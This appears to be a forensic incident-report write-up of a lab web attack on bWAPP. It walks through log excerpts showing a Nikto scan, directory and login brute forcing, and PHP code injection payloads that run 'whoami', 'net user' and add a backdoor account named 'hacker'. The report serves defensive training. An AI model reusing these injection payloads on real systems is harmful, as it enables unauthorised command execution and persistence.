

Web Attack Investigation — Incident Report

Objective

Perform forensic analysis on detected web attack activity, identify attacker techniques, payloads, and persistence clues.

Tools & Methods

Web server log analysis

HTTP request/response inspection

Payload decoding (URL/Base64)

MITRE ATT&CK mapping (where applicable)

Q1

Which automated scan tool did attacker use for web reconnaissance?

Method:

Reviewed User-Agent strings in HTTP logs. Found repeated requests with the User-Agent set to Nikto, a common web vulnerability scanner. Rapid, sequential requests also confirmed automation.

```
192.168.199.5/bWAPP/portal.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0"
28 192.168.199.1 - - [20/Jun/2021:12:35:48 +0300] "GET /bWAPP/images/netsparker.gif HTTP/1.1" 304 -
"http://192.168.199.5/bWAPP/login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0"
29 192.168.199.1 - - [20/Jun/2021:12:35:48 +0300] "GET /bWAPP/images/mme.png HTTP/1.1" 304 -
"http://192.168.199.5/bWAPP/login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0"
30 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:Port Check)"
31 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/ HTTP/1.1" 302 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:getinfo)"
32 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/ HTTP/1.1" 302 - "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
33 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.exe HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
34 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.show HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
35 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.java HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
36 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.x-shop HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
37 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.et HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
38 192.168.199.2 - - [20/Jun/2021:12:36:24 +0300] "GET /bwapp/4RaXX5Ac.dpgs HTTP/1.1" 404 300 "-" "Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:map_codes)"
```

Answer: Nikto

Q2 —

After reconnaissance, which technique did attacker use for directory listing discovery?

Method:

Observed numerous directory access attempts with non-existing paths, resulting in 400 responses. This indicates use of automated enumeration.

```

"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12372 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2004 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12373 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2005 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12374 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2006 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12375 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2007 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12376 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2008 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12377 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2009 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12378 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2010 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12379 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2011 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12380 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2012 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12381 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2013 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12382 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/2014 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12383 192.168.199.2 - - [20/Jun/2021:12:38:02 +0300] "GET /bwapp/admin/21 HTTP/1.1" 404 300 "-"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
12384 192.168.199.2 - - [20/Jun/2021:12:41:34 +0300] "GET / HTTP/1.1" 200 2506 "-" "Mozilla/5.0 (X11;
Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

```

Answer: Directory brute force

Q3 — What is the third attack type after directory listing discovery?

Method:

Identified repeated POST requests to a login form. Responses showed uniform size (200 OK), suggesting brute force attempts.

```

12409 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/bg_3.jpg HTTP/1.1" 200 3188
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12410 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/bg_1.jpg HTTP/1.1" 200 123506
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12411 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/bg_2.jpg HTTP/1.1" 200 376472
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12412 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/images/sb_1.jpg HTTP/1.1" 200 3200
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12413 192.168.199.2 - - [20/Jun/2021:12:41:37 +0300] "GET /bwAPP/fonts/architectsdaughter.ttf HTTP/1.1" 200 43380
"http://192.168.199.5/bwAPP/stylesheets/stylesheets.css" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12414 192.168.199.2 - - [20/Jun/2021:12:41:41 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php"
192.168.199.5/bwAPP/login.php "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12415 192.168.199.2 - - [20/Jun/2021:12:42:23 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php"
192.168.199.5/bwAPP/login.php "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12416 192.168.199.2 - - [20/Jun/2021:12:42:23 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php"
192.168.199.5/bwAPP/login.php "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12417 192.168.199.2 - - [20/Jun/2021:12:42:23 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php"
192.168.199.5/bwAPP/login.php "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

```

Answer: Brute force

Q4 —

Was the brute force attack successful?

Method:

While most attempts returned identical response sizes, packet 12,546 returned 302 (redirect) followed by 200 with a larger response size (23,369). This suggests a successful login.

```

12542 192.168.199.2 - - [20/Jun/2021:12:47:45 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12543 192.168.199.2 - - [20/Jun/2021:12:47:50 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12544 192.168.199.2 - - [20/Jun/2021:12:47:52 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12545 192.168.199.2 - - [20/Jun/2021:12:49:35 +0300] "POST /bwAPP/login.php HTTP/1.1" 200 4086 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12546 192.168.199.2 - - [20/Jun/2021:12:49:35 +0300] "POST /bwAPP/login.php HTTP/1.1" 302 - "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12547 192.168.199.2 - - [20/Jun/2021:12:50:10 +0300] "POST /bwAPP/login.php HTTP/1.1" 302 - "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12548 192.168.199.2 - - [20/Jun/2021:12:50:10 +0300] "GET /bwAPP/portal.php HTTP/1.1" 200 23369 "http://192.168.199.5/bwAPP/login.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12549 192.168.199.2 - - [20/Jun/2021:12:50:15 +0300] "POST /bwAPP/portal.php HTTP/1.1" 302 23369 "http://192.168.199.5/bwAPP/portal.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12550 192.168.199.2 - - [20/Jun/2021:12:50:15 +0300] "GET /bwAPP/phpi.php HTTP/1.1" 200 12735 "http://192.168.199.5/bwAPP/portal.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

```

Answer: Yes

Q5 — What is the name of the fourth attack?

Method:

Detected injected payloads such as whoami. While it resembles Command Injection, the context was closer to Code Injection.

```

12551 192.168.199.2 - - [20/Jun/2021:12:50:17 +0300] "GET /bwAPP/phpi.php?message=test HTTP/1.1" 200 12759 "http://192.168.199.5/bwAPP/phpi.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12552 192.168.199.2 - - [20/Jun/2021:12:51:37 +0300] "GET /bwAPP/phpi.php?message=test HTTP/1.1" 200 12759 "http://192.168.199.5/bwAPP/phpi.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12553 192.168.199.2 - - [20/Jun/2021:12:52:36 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27whoami%27) HTTP/1.1" 200 12778 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12554 192.168.199.2 - - [20/Jun/2021:12:52:46 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20user%27) HTTP/1.1" 200 13045 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12555 192.168.199.2 - - [20/Jun/2021:12:52:56 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20share%27) HTTP/1.1" 200 13175 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12556 192.168.199.2 - - [20/Jun/2021:12:53:13 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12557 192.168.199.2 - - [20/Jun/2021:12:53:23 +0300] "GET /bwAPP/phpi.php?message=%22%22;%20system(%27net%20user%20hacker%20asd123!!%20/add%27) HTTP/1.1" 200 12755 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

```

Answer: Code Injection

Q6 — What is the first payload for the fourth attack?

Answer: whoami

Q7 — Is there any persistency clue for the victim machine in the log file? If yes, what is the related payload?

Method:

Found encoded payload: %27net%20user%20hacker%20asd123!!%20/add%27. Decoding revealed: net user hacker asd123!! /add

```

12551 192.168.199.2 - - [20/Jun/2021:12:50:17 +0300] "GET /bWAPP/phpi.php?message=test HTTP/1.1" 200
12759 "http://192.168.199.5/bWAPP/phpi.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12552 192.168.199.2 - - [20/Jun/2021:12:51:37 +0300] "GET /bWAPP/phpi.php?message=test HTTP/1.1" 200
12759 "http://192.168.199.5/bWAPP/phpi.php" "Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12553 192.168.199.2 - - [20/Jun/2021:12:52:36 +0300] "GET /bWAPP/phpi.php?-
message=%22%22;%20system(%27whoami%27) HTTP/1.1" 200 12778 "-" "Mozilla/5.0 (X11; Linux x86_64;
rv:52.0) Gecko/20100101 Firefox/52.0"
12554 192.168.199.2 - - [20/Jun/2021:12:52:46 +0300] "GET /bWAPP/phpi.php?-
message=%22%22;%20system(%27net%20user%27) HTTP/1.1" 200 13045 "-" "Mozilla/5.0 (X11; Linux
x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12555 192.168.199.2 - - [20/Jun/2021:12:52:56 +0300] "GET /bWAPP/phpi.php?-
message=%22%22;%20system(%27net%20share%27) HTTP/1.1" 200 13175 "-" "Mozilla/5.0 (X11; Linux
x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12556 192.168.199.2 - - [20/Jun/2021:12:53:13 +0300] "GET /bWAPP/phpi.php?-
message=%22%22;%20system(%27net%20user%20hacker%20asd123!!%20/add%27) HTTP/1.1" 200 12755 "-"
"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"
12557 192.168.199.2 - - [20/Jun/2021:12:53:23 +0300] "GET /bWAPP/phpi.php?-
message=%22%22;%20system(%27net%20user%20hacker%20asd123!!%20/add%27) HTTP/1.1" 200 12755 "-"
"Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0"

```

This command creates a new local user account — a persistence mechanism.

Answer: %27net%20user%20hacker%20asd123!!%20/add%27

Summary / Findings

- Reconnaissance: Nikto scanner identified.
- Enumeration: Directory brute force attempted.
- Exploitation: Brute force login followed by successful credential compromise.
- Post-Exploitation: Code injection with payloads (whoami) confirmed.
- Persistence: New local user (hacker) attempted via injected OS command.

Key Takeaway:

The attacker moved from automated reconnaissance to exploitation, gained access via brute force, then escalated with code injection and attempted persistence. This demonstrates a clear intrusion chain aligned with MITRE ATT&CK Tactics: Reconnaissance → Initial Access → Execution → Persistence.